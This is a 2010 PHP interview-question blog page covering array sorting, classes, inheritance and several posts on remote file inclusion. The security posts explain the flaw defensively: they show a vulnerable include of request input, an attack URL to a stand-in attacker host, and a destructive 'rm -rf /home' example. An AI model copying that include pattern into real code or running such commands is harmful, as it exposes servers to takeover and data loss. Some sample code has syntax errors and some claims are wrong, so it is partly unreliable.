Showing posts with label advanced. Show all posts
Showing posts with label advanced. Show all posts

Friday, April 9, 2010

difference between ksort and asort in php

Interview Question:

What is the difference between ksort and asort in php?

Answer:

ksort - sorts an array by its key
asort - sorts an array by its value

Example.

<?php
$resource = array("d" => "answers", "a" => "php", "b" => "interview", "c" => "questions");
ksort($resource);
foreach ($resource as $key => $val) {
echo "$key = $val\n";
}
?>

The sample output is

a = php b = interview c = questions d = answers

Tuesday, April 6, 2010

Explain Static keyword in php

Answer

Declaring class members or methods as static makes them accessible without needing an instantiation of the class. A member declared as static can not be accessed with an instantiated class object (though a static method can).

what is abstract class in php

Interview question:

what is abstract class in php

Answer

Abstract classes are not allowed to create instance . We can only inherit the class using some other class.

what is inheritance in php?

Question:

what is inheritance in php give me an example?

Answer:

Inheritance permits the implementation of additional functionality in similar objects without the need to reimplement all of the shared functionality.

To inherit an another class we have to use extends Keyword

Example:

class phpInterview{
public fuction result(){
echo 'got selected';
}
}

//extending the above class

class questions extends phpInterview{
public function askedQuestions{
echo 'questions mostly from allphpinterviewquestions.blogspot.com ';
}
}

$obj=new questions();
echo $obj-> askedQuestions();
echo $obj->result();

The output is
questions mostly from allphpinterviewquestions.blogspot.com got selected

How will you check whether a class already defined or not?

Answer

Php has built-in function to check whether a class exists or not

The function is

class_exists()

Disadvantages of PHP?

Answer

1. It is a loosely typed language.
2. Multi threading is possible
3. PHP lacks in performance while comparing with java.(thats why very big applications are desinged using java)
4. It lacks in security.

Advantages of PHP

Answer

1. Good performance.
2. High scalability , reliability.(Ex. facebook uses php)
3. Easy to learn
4. High speed development
5. Availability of frameworks
6.Lot of Content management systems
7. It is a open source
8. It supports most of the operating systems(windows,linux,solaris etc)
9. PHP supports most of the databases(mysql,oracle,postgresql etc..)
10. Even support java classes.

Monday, April 5, 2010

what is class in php

Answer

Classes are the blue prints for an object.

Classes are the actual code that defined the properties and method

Sunday, April 4, 2010

How to escape from the remote file inclusion attack

Answer

1. All user inputs must be strictly validated

2. Use mod_secrity module

3. register globals must be turned off

4. open_basedir must be set to the document root . it should not be no value.

How remote file inclusion works

Answer

Consider you have the following code

$file=$_REQUEST['q'];

include($file. ".php";)

Your url may be like this http://example.com/?q=login

so the login.php file will be included as per your code

Now the attacker plans pass a url through the query string

See the below

http://example.com/?q=http://www.attackerswebsite.com/hackingcode.php

If the url is passed in the query string

Now your code is

include('http://www.attackerswebsite.com/hackingcode.php.php')

If the attacker has the file hackingcode.php.php means the remote file will be included.

If the attacker included his code in your server means he can do any thing.

What will happen if a attacker includes his file in your server

Answer

Anything can happen - even attacker can delete all your files and database.

It is very critical security issue.

For example consider an attacker includes the following line in your php file

exec("rm -rf /home ")

If the line executed in the server all the files inside the home directory may be deleted.


what is remote file inclusion in php

Answer:

It is basically used by the attackers.

Remote File Inclusion allows an attacker to include a remote file on a webserver.

The vulnerability occurs due to the use of user supplied input without proper validation.

Friday, April 2, 2010

Any idea about php6

Answer

Php6 is currently in the development stage

we can download it from php.net

magic quotes , register globals , safe mode functions are removed

check the link for details



What are the necessary security settings can be done to protect our application from hackers

It is not a simple question.

Need to consider more factors

Answer

The basic securtiy settings can be as follows

register_globals off in php.ini

disable the exec,passthrough,shell_exec like function

Install mod_security apache module

=======================

Friends if you know anything meeans please make a comment

This will be helpful for php interview questions blog visitors

How to disable a function in php

Answer

We need add the functions in the disable_functions list in the php.in file